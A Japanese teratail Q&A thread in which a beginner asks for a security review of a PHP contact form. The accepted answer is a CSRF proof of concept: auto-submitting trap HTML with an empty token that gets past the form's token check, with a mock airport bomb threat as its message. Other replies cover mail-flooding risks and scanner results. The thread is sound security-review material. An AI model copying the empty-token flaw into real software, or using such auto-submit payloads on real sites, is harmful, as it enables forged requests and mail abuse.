質問をすることでしか得られない、回答やアドバイスがある。

15分調べてもわからないことは、質問しよう!

ただいまの
回答率

92.00%

  • PHP

    12033questions

    PHPは、Webサイト構築に特化して開発されたプログラミング言語です。大きな特徴のひとつは、HTMLに直接プログラムを埋め込むことができるという点です。PHPを用いることで、HTMLを動的コンテンツとして出力できます。HTMLがそのままブラウザに表示されるのに対し、PHPプログラムはサーバ側で実行された結果がブラウザに表示されるため、PHPスクリプトは「サーバサイドスクリプト」と呼ばれています。

  • セキュリティー

    275questions

    このタグは、コンピューターシステムの安全性やデータの機密性に関連したトピックの為に使われます。

  • CSRF

    21questions

    クロスサイトリクエストフォージェリ (Cross site request forgeries、CSRF)は、 外部Webページから、HTTPリクエストによって、 Webサイトの機能の一部が実行されてしまうWWWにおける攻撃手法です。

  • XSS

    20questions

    XSS【クロスサイトスクリプティング】は、 ソフトウェアのセキュリティホールの一つで、Webサイトに脆弱性が あることからその脆弱性を利用し攻撃する手法です。 主に、入力フォームなどから悪意あるスクリプトを挿入し 該当ページを閲覧したブラウザ上でそのスクリプトを実行します。

【PHP】作成したメールフォームに脆弱性がないか、アドバイスもらえないでしょうか。

解決済

回答 4

投稿 2017/04/06 18:30 ・編集 2017/04/11 13:17

  • 評価
  • クリップ 27
  • VIEW 14K+

7968

score 163

PHPでメールフォームを作成したので、脆弱性がないかアドバイスいただけないでしょうか。
エンジニアでもなければ、PHPもろくに書けない雑魚ですが、「php メールフォーム 作り方」でググって表示されるサイトを見ると、「んんんんん???」と思うところがあります。
これらを参考にしたり、コピペする方は、記述されているコードの良し悪しは判断できないかと思います。
そのような方々が参考にできるメールフォームを作りたいという思いで、調べて作りました。
周りに書いたコードを確認してもらえる人もいないので、皆様からのアドバイスがほしいです((_ _ (´ω` )ペコ

このメールフォームは、下記を対象者としています。

  • php メールフォーム 作り方 でググってコピペする方
  • コピペして動けばいいと考えている方
  • if文や関数など基本的な記述はわかるけど、クラスとか理解していない方
  • 脆弱性?なにそれ?という方

そのために、このメールフォームは下記の点を意識して作成しました。

  • コピペしたら動く
  • なるべく難しい記述はしない、記述量を減らす
  • 処理を中断する die を使っていないので、表示したい箇所にコピペすれば動く
  • PHP5.2.xまで想定し、環境(magic_quotes_gpc、セーフモード)に依存しない
  • 肝心の脆弱性対策はクリックジャッキング、CSRF、XSS、メールヘッダインジェクションを考慮

最終的にはコード+説明した記事を作成してQittaに投稿する予定です。
問題があれば、詳しい方々からアドバイスやご指摘があるはずなので...

皆様から見て、脆弱性や気になる点などあれば、アドバイスもらえると嬉しいです((_ _ (´ω` )ペコ
至らないところがあれば、調べますので、ご指摘だけでも頂けると嬉しいです。
お願いします。

入力(index.php) → 確認(confirm.php) → 送信(send.php) と画面を遷移してメールを送ります。

<?php
// 他のサイトでインラインフレーム表示を禁止する(クリックジャッキング対策)
header('X-FRAME-OPTIONS: SAMEORIGIN');

// セッション開始
session_start();

// HTML特殊文字をエスケープする関数
function h($str) {
    return htmlspecialchars($str,ENT_QUOTES,'UTF-8');
}

/* --------------------------------------------------
    トークンの作成(CSRF対策)

    ※使用しているPHPのバージョン・環境にあわせて
     トークンを選んでね。不要なトークは削除してね。
-------------------------------------------------- */

// PHP 7.0 以降
if(!isset($_SESSION['token'])) {
    $_SESSION['token'] = bin2hex(random_bytes(32));
}

// PHP 5.3 ~ 5.x ※OPENSSL導入済
if(!isset($_SESSION['token'])) {
    $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32));
}

// PHP 5.3 未満
if(!isset($_SESSION['token'])) {
    $_SESSION['token'] = hash('sha256', session_id());
}

// トークンを代入
$token = $_SESSION['token'];

?>
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>入力画面</title>
</head>
<body>

<h1>お問い合わせ(入力画面)</h1>

<form method="post" action="confirm.php">
<table>
    <tr>
        <th>お名前(必須)</th>
        <td><input type="text" name="name"></td>
    </tr>
    <tr>
        <th>ふりがな(必須)</th>
        <td><input type="text" name="ruby"></td>
    </tr>
    <tr>
        <th>メールアドレス(必須)</th>
        <td><input type="text" name="mail"></td>
    </tr>
    <tr>
        <th>内容(必須)</th>
        <td><textarea name="content"></textarea></td>
    </tr>
</table>
<input type="hidden" name="token" value="<?php echo h($token); ?>">
<button>送信内容確認</button>
</form>
</body>
</html>
<?php
// 他のサイトでインラインフレーム表示を禁止する(クリックジャッキング対策)
header('X-FRAME-OPTIONS: SAMEORIGIN');

// セッション開始
session_start();

// HTML特殊文字をエスケープする関数
function h($str) {
    return htmlspecialchars($str,ENT_QUOTES,'UTF-8');
}
?>
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>確認画面</title>
</head>
<body>

<h1>お問い合わせ(確認画面)</h1>

<?php

// セッション変数がなければ、空文字を代入
if(!isset($_SESSION['token'])) {
    $_SESSION['token'] = '';
}

// POSTされたデータを変数に代入(magic_quotes_gpc = On + NULLバイト 対策)
foreach (array('token','name','ruby','mail','content') as $v) {
    $$v = filter_input(INPUT_POST, $v, FILTER_DEFAULT, FILTER_FLAG_STRIP_LOW);
}

// トークンを確認し、確認画面を表示
if($token !== $_SESSION['token']) {

    echo '<p>お問い合わせの手順に誤りがあります。<br>お手数ですが、最初からやり直してください。</p>';

} else {

    $error_flag = 0;

    // 必須項目は未入力をチェック
    if ($name === '') {
        echo '<p>お名前をご入力してください。</p>';
        $error_flag = 1;
    } elseif (mb_strlen($name) > 50) {
        echo '<p>お名前は 50 文字以内で入力してください。</p>';
        $error_flag = 1;
    }

    if ($ruby === '') {
        echo '<p>ふりがなをご入力してください。</p>';
        $error_flag = 1;
    } elseif (mb_strlen($ruby) > 50) {
        echo '<p>ふりがなは 50 文字以内で入力してください。</p>';
        $error_flag = 1;
    }

    if ($mail === '') {
        echo '<p>メールアドレスをご入力してください。</p>';
        $error_flag = 1;
    } elseif (mb_strlen($mail) > 100) {
        echo '<p>メールアドレスは 100 文字以内で入力してください。</p>';
        $error_flag = 1;
    } elseif (!filter_var($mail, FILTER_VALIDATE_EMAIL)) {
        echo '<p>メールアドレスの形式が正しくありません。</p>';
        $error_flag = 1;
    }

    if ($content === '') {
        echo '<p>内容をご入力してください。</p>';
        $error_flag = 1;
    } elseif (mb_strlen($content) > 500) {
        echo '<p>内容は 500 文字以内で入力してください。</p>';
        $error_flag = 1;
    }

    // エラーがある場合は、戻るボタンを表示し、エラーがない場合は、確認画面を表示
    if ($error_flag === 1) {
        echo '<button onClick="history.back(); return false;">戻る</button>';
    } else {
        // セッション変数に代入
        $_SESSION['name'] = $name;
        $_SESSION['ruby'] = $ruby;
        $_SESSION['mail'] = $mail;
        $_SESSION['content'] = $content;

        // 確認用画面の表示
    ?>

        <form method="post" action="send.php">
            <table>
                <tr>
                    <th>お名前</th>
                    <td><?php echo h($name); ?></td>
                </tr>
                <tr>
                    <th>ふりがな</th>
                    <td><?php echo h($ruby); ?></td>
                </tr>
                <tr>
                    <th>メールアドレス</th>
                    <td><?php echo h($mail); ?></td>
                </tr>
                <tr>
                    <th>内容</th>
                    <td><?php echo nl2br(h($content)); ?></td>
                </tr>
            </table>
            <input type="hidden" name="token" value="<?php echo h($token); ?>">
            <button>送信</button>
        </form>

<?php
    }
}
?>
</body>
</html>
<?php
// 他のサイトでインラインフレーム表示を禁止する(クリックジャッキング対策)
header('X-FRAME-OPTIONS: SAMEORIGIN');

// セッション開始
session_start();

// mb_send_mail のエンコーディング
mb_language('ja');

// 内部文字エンコーディングを設定
mb_internal_encoding('UTF-8');
?>
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>送信画面</title>
</head>
<body>

<h1>お問い合わせ(送信画面)</h1>

<?php

// セッション変数がなければ、空文字を代入
if(!isset($_SESSION['token'])) {
    $_SESSION['token'] = '';
}

// POST['token']の値をtoken変数に代入
$token = filter_input(INPUT_POST, 'token', FILTER_DEFAULT, FILTER_FLAG_STRIP_LOW);

// 各セッション変数を各変数に代入
$name = isset($_SESSION['name']) && is_string($_SESSION['name']) ? $_SESSION['name'] : '';
$ruby = isset($_SESSION['ruby']) && is_string($_SESSION['ruby']) ? $_SESSION['ruby'] : '';
$mail = isset($_SESSION['mail']) && is_string($_SESSION['mail']) ? $_SESSION['mail'] : '';
$content = isset($_SESSION['content']) && is_string($_SESSION['content']) ? $_SESSION['content'] : '';

// トークンの値が一致しない場合は、エラー文を表示し、一致する場合は送信する
if($token !== $_SESSION['token']) {

    echo '<p>送信後に再度アクセスされたか、お問い合わせの手順に誤りがあります。<br>お手数ですが、最初の画面からご入力ください。<p>';

} else {

    /*  運営側へ送信するメールの設定  */

    // 送信先のメールアドレス
    $to      = 'xxxxxx@xxxxx.xxxx';
    // 件名
    $subject = '【お問い合わせからの送信】○○○○○○○○○○';
    // 本文
    $message = "◆お名前\n$name\n\n◆フリガナ\n$ruby\n\n◆メールアドレス\n$mail\n\n◆内容\n$content";
    // オプション
    $option = '-f'. $to;


    /*  問い合わせされた方へ自動返信するメールの設定  */

    // 件名
    $auto_subject = '【お問い合わせ】○○○○○○○○○○';
    // 送信元のメールアドレス
    $auto_from    = 'From:' . $to;
    // 本文
    $auto_message = "
※このメールは自動返信によるものです。

$name 様

このたびは、お問合せいただき、誠にありがとうございました。

お送りいただきました内容を確認の上、担当者より折り返しご連絡させていただきます。
    ";

    /* セーフモードがONの場合は、mb_send_mailの第5引数が使えないため、処理を分岐して送信 */
    if(ini_get('safe_mode')) {

        /*  運営側と自動返信のメールの送信が完了したら、送信完了の文章を表示する  */
        if(mb_send_mail($to, $subject, $message, "From:$mail") && mb_send_mail($mail, $auto_subject, $auto_message, $auto_from)) {
            echo '<p>このたびは、お問合せいただき、誠にありがとうございました。<br>お送りいただきました内容を確認の上、担当者より折り返しご連絡させていただきます。</p>';
        } else {
            echo '<p>大変申し訳ございませんが、メールの送信に失敗しました。<br>お手数ですが最初からやり直してください。</p>';
        }

    } else {

        /*  運営側と自動返信のメールの送信が完了したら、送信完了の文章を表示する  */
        if(mb_send_mail($to, $subject, $message, "From:$mail", $option) && mb_send_mail($mail, $auto_subject, $auto_message, $auto_from, $option)) {
            echo '<p>このたびは、お問合せいただき、誠にありがとうございました。<br>お送りいただきました内容を確認の上、担当者より折り返しご連絡させていただきます。</p>';
        } else {
            echo '<p>大変申し訳ございませんが、メールの送信に失敗しました。<br>お手数ですが最初からやり直してください。</p>';
        }

    }

}

// セッションの破棄
$_SESSION = array();
session_destroy();

?>
</body>
</html>

 2017.04.11 追記

徳丸氏による、脆弱性の解説です。

ありがとうございます((_ _ (´ω` )ペコ

  • 気になる質問をクリップする

    クリップした質問に回答があった場合に通知・メールを受け取ることができます。

    クリップした質問はマイページの「クリップ」タブからいつでも見ることができます。

    クリップを取り消します

  • 良い質問の評価を上げる

    以下のような質問は評価を上げましょう

    • 質問内容が明確
    • 自分も答えを知りたい
    • 質問者以外のユーザにも役立つ

    評価が高い質問は、TOPページの「注目」タブのフィードに表示されやすくなります。

    質問の評価を上げたことを取り消します

  • 評価を下げられる数の上限に達しました

    評価を下げることができません

    • 1日5回まで評価を下げられます
    • 1日に1ユーザに対して2回まで評価を下げられます

    質問の評価を下げる

    teratailでは下記のような質問を「具体的に困っていることがない質問」、「サイトポリシーに違反する質問」と定義し、推奨していません。

    • プログラミングに関係のない質問
    • やってほしいことだけを記載した丸投げの質問
    • 問題・課題が含まれていない質問
    • 意図的に内容が抹消された質問
    • 広告と受け取られるような投稿

    評価が下がると、TOPページの「アクティブ」「注目」タブのフィードに表示されにくくなります。

    質問の評価を下げたことを取り消します

    この機能は開放されていません

    評価を下げる条件を満たしてません

    評価を下げる理由を選択してください

    詳細な説明はこちら

    上記に当てはまらず、質問内容が明確になっていない質問には「情報の追加・修正依頼」機能からコメントをしてください。

    質問の評価を下げる機能の利用条件

    この機能を利用するためには、以下の事項を行う必要があります。

回答 4

checkベストアンサー

+23

CSRF脆弱性があるようです。PoC(Proof of Concept)を書きましたのでご確認ください。解説はしませんので、PoCから読み解いて下さい。

以下は、適当なサイトに罠として仕掛けるHTMLです。wana.htmlとします。

<body>
<iframe src="wana1.html"></iframe>
<iframe src="wana2.html"></iframe>
</body>

wana.htmlはwana1.htmlとwana2.htmlを読み込んでいます。それぞれを示します。まずは wana1.html

<body onload="document.forms[0].submit()">
<form action="http://example.jp/confirm.php" method="POST">
<input name="name" value="田中">
<input name="ruby" value="たなか">
<input name="mail" value="tanaka@example.jp">
<input name="content" value="○○空港を15:00に爆破します">
<input name="token" value="">
<input type="submit">
</form>
</body>

続いて、wana2.html

<body onload="setTimeout('document.forms[0].submit()', 5000)">
<form action="http://example.jp/send.php" method="POST">
<input name="token" value="">
</form>
</body>

wana1.htmlは、被害者が罠閲覧後直ちにconfirm.phpをPOSTします。
wana2.htmlは、5秒後にsend.phpをPOSTします。
結果として、CSRF対策を回避して、空港爆破予告をメールすることになります。ご確認を。
前提として、罠閲覧時に、被害者はこのサイトのセッションはないとします。これは無理のない前提だと思います。

投稿 2017/04/09 18:46

  • 回答の評価を上げる

    以下のような回答は評価を上げましょう

    • 正しい回答
    • わかりやすい回答
    • ためになる回答

    評価が高い回答ほどページの上位に表示されます。

  • 回答の評価を下げる

    以下のような回答は評価を下げられます

    • 間違っている回答
    • 質問の回答になっていない投稿
    • 不快な投稿

    評価を下げる際はその理由をコメントに書き込んでください。

  • 2017/04/09 19:51

    おお!すごい!すごいです!
    罠サイトの方法とCSRF対策の回避方法にめっちゃ感動しました٩( 'ω' )و
    トークンに問題があるので、改善します。
    まさか、徳丸氏から回答もらえとるとは、嬉しいです。
    参考になりました。回答ありがとうございました。

    キャンセル

  • 2017/04/10 01:23 編集

    ものすごく興味本位な質問ですが、この問題ってソースを見ない場合でも、辿り着けるものでしょうか?空文字ってところが脆弱なんですかね?
    そもそも、不適切な処理であることは理解しているんですけど、ちょっと気になったもので。

    キャンセル

  • 2017/04/10 06:42

    リモート脆弱性診断(ソースは見ずにブラックボックスで診断するやつ)では、トークンを空文字列にしたり、トークンパラメータそのものを削除する(結果としてNULLになる)パターンは、ちゃんとした会社ならチェックすると思います。
    私が空文字列に着目した理由は、トークンチェックのif文にNULLチェックが入ってなかったからなんですが、ソース上ではissetの結果NULLの場合は空文字列をセットしていたので、空文字列ならいけるのだろうと思いました。リモート診断ではソースは確認できませんが、わりあいあるケースなので空文字列も試しますね。

    キャンセル

  • 2017/04/10 08:15

    ありがとうございます。理解しました。

    キャンセル

+3

セッション管理の問題がありそうなのはわかりましたが、セキュリティについての知識が不足したままでは、今後修正などした時に再度脆弱性を作り込んでしまいます。なので具体的な指摘はしません。

とりあえず、体系的に学ぶ 安全なWebアプリケーションの作り方を読んでみてください。脆弱性の仕組みをきちんと学んでからもう一度コード全体を見直してみると良いでしょう。


(以下の内容は「安全なWebアプリケーションの作り方」を読めばわかることですので、是非書籍をお読みください)

どうも「メールフォームの機能はメールを送ることだけだから、攻撃の重点はメール送信に限られる」と考えられてる方がいるようです。大きな間違いです。

メールフォームであっても、入力の漏洩、他のアプリケーションを攻撃するための踏み台、など、メール送信機能を使わない攻撃もあり得ます。とくに、他のアプリケーションと同居して使われる場合、そのアプリケーションが単体では安全であっても、同じホストに脆弱なアプリケーションがあれば危険にさらされます。

メールフォームだからといってメールのことだけ気にしているとこのように失敗します。

もちろん、メールのことも気にしなければなりませんが、「大量メール送信」など以前に気にしなければならないことがまずたくさんあります。「大量メール送信」対策をしていても足下に脆弱性があれば無意味になります。

このあたりの感覚も、きちんと勉強していればだんだん身についてくると思います。おかしなアドバイスにも気づけるようになるでしょう。

(かくいう私も空トークンのすり抜けによるCSRFは見落としてたので勉強不足ですね)

参考までに、Webアプリケーションのセキュリティについて、ものすごく大雑把な絵を描いてみました。安全なWebアプリケーションを作るには体系的な知識が必要であること、アプリケーション固有の機能だけを気にするのだけでは無意味だということが伝わるでしょうか。

また、私の回答のせいで「安全なWebアプリケーションの作り方」という良書に対し誤った宣伝をする場を与えてしまったのは残念ですが、そのような事実は無いこと、メールフォームも含めた多くの領域のWebアプリケーションを作る上でベースとなる知識を学ぶために非常に参考になる本だということはお伝えしたいと思います。

イメージ説明

下記のコメント欄のte2jiなる自物の投稿のうち、「安全なWebアプリケーションの作り方」についての記述は、当該書籍の内容を目次のみから妄想して書かれたものです。実際の書籍の内容を反映したものではなく、技術的な裏付けは全くありませんので、十分注意してお読みください。

投稿 2017/04/06 23:38

編集 2017/04/12 22:24

  • 回答の評価を上げる

    以下のような回答は評価を上げましょう

    • 正しい回答
    • わかりやすい回答
    • ためになる回答

    評価が高い回答ほどページの上位に表示されます。

  • 回答の評価を下げる

    以下のような回答は評価を下げられます

    • 間違っている回答
    • 質問の回答になっていない投稿
    • 不快な投稿

    評価を下げる際はその理由をコメントに書き込んでください。

  • 2017/04/07 01:30

    今回の質問への回答として、リンク先ってあまり関係ないのでは?
    目次の9割関係無いように思いますが。。。

    キャンセル

  • 2017/04/07 09:20

    メールフォームはDBと認証こそありませんが立派なWebアプリケーションです。個別には関係ない項目はありますが、Webアプリケーションのセキュリティの基礎と、この質問の機能を実現するアプリで生じる可能性がある主要な脆弱性について初学者が網羅的に学べる**信頼できる**書籍は他に思い当たりません。

    それに、直接は関係無い項目であっても、基礎知識として覚えておくと安全なアプリケーションが作りやすくなります。

    目次だけでなく中身をお読みになった上で、こちらの方がもっとよいとお勧めされる書籍があるのであれば、是非ご紹介ください。

    キャンセル

  • 2017/04/07 10:53

    メールフォームで気を付けなければならないのは、「ユーザ投稿からメールが送れてしまう」ことなので、Webアプリに汎化した回答だと的外れになると思います。

    例えば、「体系的に学ぶ 安全なWebアプリケーションの作り方」を熟読したとしても、このフォームから「大量の意味の無いメール(迷惑メール)を送れてしまう」ことに気がつくのは難しいと思います。

    個人的には、メールフォームは他者に迷惑をかけやすい上、問題発生時の切り分けもしんどいので、「コピペしたら動く」なんてとんでもないと思っていますが、具体的な指摘があるのであれば非常に興味深い質問です。
    ぜひ具体的な指摘をしてあげて下さい。

    キャンセル

  • 2017/04/07 11:28

    suzukisさん

    回答ありがとうございます。
    なるほど、セッション管理に問題があるんですね。

    本当に基本的なところだけですが、HTTP・GET・POST・Cookie・セッションについては調べたことがあります。

    ・【PHP超入門】HTTP(GET・POST)について
    http://qiita.com/7968/items/4bf4d6f28284146c288f

    ・【PHP超入門】Cookieとセッションについて
    http://qiita.com/7968/items/ce03feb17c8eaa6e4672

    自分の中では基本的な仕組み(表面的なところ)は理解できていると思っています。
    リクエストメッセージは安全だよねというような根本的な過ちはしてないはず...と信じたい。

    気になる点は、PHP5.3未満のトークンでセッションIDを用いていることです。
    「/dev/urandom」を用いてトークンを作成する方法もありますが、セッションIDをハッシュ化しても問題ないような...と思ってトークンに使用しています。
    セッションIDをそのまま利用するのは論外だと思いますが...

    私の書いたコードから感じられないかもしれませんが、徳丸氏の書籍は持ってます(理解したと言ってない><)


    te2jiさん

    > 「コピペしたら動く」なんてとんでもないと思っています

    完全に同意です。
    ググってコピペしたら動くのも事実なので、それならば、ググって出てくるより良いものをという思いです。

    キャンセル

  • 2017/04/07 12:21

    本をお持ちなのならまずはそれをしっかり学習してください。その本に書いてあることがきちんと達成できたら次の段階です。「Webにあるコードがひどいので何とかしたい」という志はご立派ですが、今のままではひどいコードを増やすだけです。質問のメールフォームでも、この本に書かれている多くの項目が該当します。的外れなコメントが付いていますが、まずWebアプリケーションに汎化した観点で安全になっていないと、アプリケーション固有の機能に関わる部分を考えても無駄です。

    キャンセル

  • 2017/04/07 14:03 編集

    私自身、Webにあるひどいコードを何とかできるほどの、スキルも理解もないのは自覚しております。
    そもそも、ググって参考になりそうな、コピペしても問題なそうな記事が表示されているなら、こんなことはやりたくないというのが正直なところです。
    ググって上位表示される記事に対抗するには「初心者」「2分でできる」「世界一簡単」「猿でもわかる」「安全」のようなタイトルにしなければなりません。
    Qiitaに、私のような雑魚が書いたコードを上記のような釣りっぽいタイトルをつけて投稿するのは、頭おかしいと思っています。
    コメント欄で溢れ返るのは目に見えています。
    (コメント欄が本編になる可能性も・・・w)

    suzukisさんの仰るとおり、徳丸氏の書籍についての理解度が少ないです。
    精進します><

    キャンセル

  • 2017/04/07 14:35

    メールフォームでは、「ユーザ投稿からメールが送れてしまう」ことが最大の課題なので、ざっくり以下を実装する必要があります。

    ・SMTP送信制御
    ・外部からの投稿対策
    ・連続送信制限
    ・送信/エラーログ

    どれも、奥が深い上、単純な少量のコードに落とすのは難しいと思います。
    メールフォームのライブラリは多数あるので、上記の観点から精査し紹介する方針のほうが、新たなコードを作成し公開するより有用じゃないですかね?

    コードとは関係ないですが、上記以外に以下の情報も必須です。
    ・フォーム送信時の暗号化に関して
    ・個人情報保護に関する記述

    私自身、メールフォームはいろいろな記事を読みましたが、7968 さんと同じような感想を持ってます。正直、まとめていただけるのであれば、非常に嬉しいです。7968 さんのまとめ、きれいだしw
    うまくいくといいですね^^

    キャンセル

  • 2017/04/07 16:31 編集

    te2jiさん

    なるほど、確かに送信に関する制限や対策、制御などにも配慮する必要がありますね。
    正直、CSRF対策をすれば、不正な送信を阻止できると楽観視しておりました><
    どのようにメールフォームを悪用するのか、画面遷移してCSRF対策しているメールフォームでも悪用できるのかなど、攻撃側の事情について調べていませんでした...
    ちょっと調べてみます。

    確かにライブラリという選択肢もありますね。
    コピペユーザーが対象なので、なるべく簡単な方法を模索します。
    もう最終的にはGoogleフォームを使いましょうという結論にしたい気持ちもありますw

    メールフォームを作るという切り口から入り、脆弱性の存在についても理解できるような記事を書けるように頑張ります^^
    アドバイスありがとうございます。

    キャンセル

  • 2017/04/07 18:11

    メールフォームは、メールが送れてしまえば、攻撃者の勝ちです。
    ・特定アドレスに対して大量の「受け付けました」メールを飛ばす
    ・大量の宛先不明メールを発送され、使用ドメインをSPAMドメインとされる
    といったところですね。

    CSRF対策を行っていても、メールフォームへの投稿プロセスを模倣し機械的にPOSTすることは簡単なので、通常のWebアプリのような対策はあまり意味がありません。

    どちらかと言うと対策方法は、匿名掲示板への投稿を参考にしたほうが良いです。

    幾つか見てみましたが、投稿フォームの最初のページを見て、一定時間経たないと投稿可能とさせないとか、POSTの間隔をIPアドレスレベルで確認して受け付けるか判断するとか、工夫されていました。

    また、メールを「正当に」飛ばすには、適切なメールサービスの設定が必須になります。適切に設定できていないと、「あるユーザにはメールが届くが、あるユーザにはメールが届かない」とか「届いたメールが文字化けで読めない」といった、よくある問題に遭遇します。

    「受け付けました」メールを自動で飛ばさないのであれば、全体的にかなり単純になりますが、現実の要求として、なかなか難しいですね^^;

    メールってホントに面倒です。。。がんばってください。

    キャンセル

  • 2017/04/09 19:52

    > CSRF対策を行っていても、メールフォームへの投稿プロセスを模倣し機械的にPOSTすることは簡単なので、通常のWebアプリのような対策はあまり意味がありません。

    全然知らなかったので、参考になります。
    ありがとうございます。頑張ります。

    キャンセル

  • 2017/04/10 20:54

    > suzukis さん
    徳丸さんも回答してくれている質問なので、ご本人に迷惑にならないようコメントしますが、メールフォームとWebアプリの持つセキュリティ要件は明確に違います。
    要件の違うものを前提に書かれたものを薦めても質問者を混乱させるだけです。
    具体的な指摘がないのも同様に質問者を混乱させます。

    > 「メールフォームの機能はメールを送ることだけだから、脆弱性があっても被害はメール送信に限られる」と考えられてる方がいるようです

    上記のような考えもありません。最大の脅威がメール送信にあると言っているだけです。

    キャンセル

  • 2017/04/11 07:28

    > suzukis さん
    当初の回答からすると、随分まともな回答になってきましたが、もう少し質問者の方を向いた回答しましょうよ^^;

    会話が噛み合わない理由に関して考えてみました。
    suzukis さんが、セキュリティ要件とセキュリティバグを混同しているためだと思います。

    目次でいうと、私が5章の話をしているのに、4章の話が全てだ!とコメント/回答の修正を重ねている感じです。

    セキュリティ要件:5章 代表的なセキュリティ機能
    セキュリティバグ:4章 Webアプリケーションの機能別に見るセキュリティバグ

    私が当初コメントしたのは、セキュリティ要件に大きな差異がある本を推薦していることに違和感があったためです。

    メールフォーム → 認証外ユーザにフル機能を提供する必要がある前提
    一般的なWebアプリ → 認証ユーザを前提にロールに沿った機能提供の前提

    目次の機能項目の殆どが関連しません。かろうじてユーザ登録の箇所に同じような要件が発生するかもしれませんが、この目次の感じだとあまり深く突っ込んでないと思います。その為、9割関係ないと表現しました(まぁ、9割というのは過剰な表現ですが)
    その後の私のコメントもセキュリティ要件が合致していないことに対しての指摘です。

    それに対して、suzukis さんはセキュリティバグに対してコメントを重ねるため、会話がズレます。
    セキュリティバグはどのようなシステムを作るにも関連してくるため、網羅的な知識が必要となります。それを否定するものではありませんし、それを知るためには、「体系的に学ぶ 安全なWebアプリケーションの作り方」は良書だと思いますが、要件が異なっているという指摘には全く噛み合いません。

    セキュリティ要件とセキュリティバグへの対応は、分けて考えることが必要です。
    脆弱性対応の基本なので、まずはそこを理解したほうが良いですよ。

    キャンセル

  • 2017/04/11 07:58

    かみ合わない理由はあなたが「読んでもない本についてこの本は役に立たないという自分の主張に沿うように勝手に内容を想像して話をしている」からです。

    キャンセル

  • 2017/04/11 14:18

    最大の脅威であるメール送信に関する記述が5章にないので、セキュリティ要件的に合致していないと判断しています。目次にない以上、勝手な想像では無いと思いますが。。。

    キャンセル

  • 2017/04/12 11:20

    自覚がないのは悪意がない証拠と好意的に解釈します。一読をお勧めしましたがどうやらそのおつもりはないようですので、読んでもなく読むつもりもなく内容も知らない本について的外れだなどと批判するのはおやめください。

    キャンセル

  • 2017/04/12 17:27

    最初に9割なんて煽ったから、かたくななんですかねぇ。。。
    なかなか伝わらない^^;

    再度書きますが、suzukis さんは、徳丸さんの本の重要な要素、セキュリティ要件とセキュリティバグを分けて考えることが理解できていません。

    ここを読めば3分で分かるのでオススメです。
    https://www.hash-c.co.jp/security/3min/

    図は取り下げたほうが良いです。表現方法が間違っています。

    セキュリティバグに対しての記述が網羅的であることが、この本が良書である評価の一つなので、そこを否定するつもりはありません。メール関係の一部と最近のセキュリティバグ情報を勉強するだけで、おおよそメールフォームに関連するセキュリティバグが塞げると思います。

    しかし、私の指摘しているのは、セキュリティ要件に関してです。
    メールフォームの必要とするセキュリティ要件はざっくり以下です。
    ・SMTP送信制御
    ・外部からの投稿対策
    ・連続送信制限
    ・送信/エラーログ

    こちらに関連する記載はごく僅かです。
    これが9割と言った発言につながります。

    すでに書きましたが、私がセキュリティ要件に関して記述しているのに、suzukis さんがセキュリティバグに関して追記するため、噛み合っていません。

    最初の回答はひどかったですが、修正後の回答でセキュリティバグに関して指摘したいのだと分かりました。セキュリティバグに限って言えば(あと図を消去すれば)回答としては正しいと思います。

    こんどこそ伝わるとイイのですけど。

    キャンセル

  • 2017/04/13 14:15

    もう suzukis さんの理解とか求めないので、図の削除か、修正だけでも応じてもらえませんか?
    【認証】アカウント管理、ログイン管理
    の部分を消去するか、色を替えるだけで良いです。
    そこを修正するだけで、suzukis さんの回答が大体正しくなるので、お願いします。修正していただければ、マイナス評価も取り消しますので。

    キャンセル

+2

まずは脆弱性診断ツールを使って調べてみるのが手っ取り早くておすすめです。

投稿 2017/04/06 20:22

  • 回答の評価を上げる

    以下のような回答は評価を上げましょう

    • 正しい回答
    • わかりやすい回答
    • ためになる回答

    評価が高い回答ほどページの上位に表示されます。

  • 回答の評価を下げる

    以下のような回答は評価を下げられます

    • 間違っている回答
    • 質問の回答になっていない投稿
    • 不快な投稿

    評価を下げる際はその理由をコメントに書き込んでください。

  • 2017/04/06 20:30

    回答ありがとうございます。
    なるほど、脆弱性診断ツールを使うという方法があるんですね。
    調べると OWASP ZAP を使うと診断できそうなので、ちょっと試してみます。

    キャンセル

  • 2017/04/07 16:49 編集

    XAMPP環境で OWSAP ZAP を試したところ下記のアラートがありました。

    1. CookieのHttpOnly属性が未設定
    2. WebブラウザのXSS防止機能が有効になっていません
    3. X-Content-Type-Optionsヘッダの設定ミス

    1に関して、HttpOnly属性に関しては、下記の通りですので、ini_set() で設定するようにします。
    http://qiita.com/mpyw/items/8367f4e0983e734294da

    2.3に関しては調べてみます。
    お陰様で上記について気づくことができました。
    ありがとうございます。

    キャンセル

  • 2017/04/07 20:45

    あと、reCAPTCHAみたいなBOT対策もあるといいですね(すでにあったらごめんなさい

    キャンセル

  • 2017/04/09 19:52

    BOT対策も調べてみます。
    教えてくださり、ありがとうございます。

    キャンセル

-2

すでに、伝えたいことは大体記述したのですが、回答としてまとめることにしました。

7968 さんの作成されたスクリプトは、「メールの配信攻撃」への対応がなされていません。
メールフォームのセキュリティ要件として、ざっくりとですが、以下の機能実装を検討する必要があります。

・外部からの投稿対策
・連続送信制限
・送信/エラーログ

これらの実装がない場合、機械的な投稿を容易に許すことになり、

・特定アドレスに対して大量の「受け付けました」メールを飛ばす
・大量の宛先不明メールを発送され、使用ドメインをSPAMドメインとされる
・サーバリソースを借りている場合、送信メール数の上限張り付きになり、事実上メールフォームが機能しない

といった被害が発生する可能性があります。

メールフォームは、認証外ユーザにフル機能を提供しつつ、その投稿を制限するという、かなりハードルの高い要求を突きつけられます。上記を加味し、セキュリティ要件を再整理してみて下さい。

 おまけ

せっかく回答を作成したので追記します。

・セキュリティ要件
メール配信攻撃以外のセキュリティ要件として、ドメイン認証を検討する必要があります。
SMTPサーバを経由し、SPF/DKIMへ対応した発信が出来ないと自動送信メールが届かないケースが大量に発生します。

・セキュリティバグ
セッション関連の指摘がありましたが、多分、セッションの開始のタイミングの指摘だと思います。
以下を参考にすると良いです。
セッションの安全な管理方法について
認証外アプリのセッションの取り回しに関して、ockeghem さんが丁寧に説明してくれています。
ockeghem さんの回答の他に、ikedas さんの回答とそのコメント欄も合わせて見ると良いです。

投稿 2017/04/13 16:35

編集 2017/04/14 13:35

  • 回答の評価を上げる

    以下のような回答は評価を上げましょう

    • 正しい回答
    • わかりやすい回答
    • ためになる回答

